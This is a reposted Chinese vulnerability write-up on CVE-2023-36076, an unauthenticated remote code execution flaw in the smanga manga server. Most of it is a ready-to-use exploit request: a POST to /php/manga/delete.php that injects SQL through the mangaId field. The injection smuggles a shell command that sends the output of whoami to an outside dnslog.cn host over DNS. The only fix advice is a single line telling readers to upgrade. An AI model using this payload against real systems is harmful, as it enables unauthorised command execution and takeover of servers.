0x01 前言
smanga存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
0x02 漏洞等级
高危
0x03 漏洞影响
smanga系统
0x04 漏洞复现
登录界面是这个样子~~~
环境搭建可以参考这个:
https:
/
/www.bilibili.com/read
/cv21910784/
EXP:
POST
/php/manga/delete.php
HTTP/1.1
Host
: 127.0.0.1:8181
Content-Length
: 360
Cache-Control
: max-age=0
Upgrade-Insecure-Requests
: 1
Origin
: http://127.0.0.1:8181
Content-Type
: application/x-www-form-urlencoded
User-Agent
: Mozilla/5.0 (iPad; CPU OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.77 Mobile/15E148 Safari/604.1
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer
: http://127.0.0.1:8181/php/manga/delete.php
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Connection
: close
mangaId=
1
+union+
select
+*+from+%28select+
1
%29a+
join
+%28select+
2
%29b+
join
+%28select+
3
%29c+
join
+%28select+
4
%29d+
join
+%28select+%27%5C%22%3Bping+-c+
3
+%60whoami%60.uoi9vt.dnslog.cn%3B%5C%22%27%29e+
join
+%28select+
6
%29f+
join
+%28select+
7
%29g+
join
+%28select+
8
%29h+
join
+%28select+
9
%29i+
join
+%28select+
10
%29j+
join
+%28select+
11
%29k+
join
+%28select+
12
%29l%3B&deleteFile=true
命令执行成功
0x05 修复建议
官方已经发布修复补丁,请进行升级。
原文始发于微信公众号(渗透安全团队):CVE-2023-36076 RCE漏洞(附EXP)
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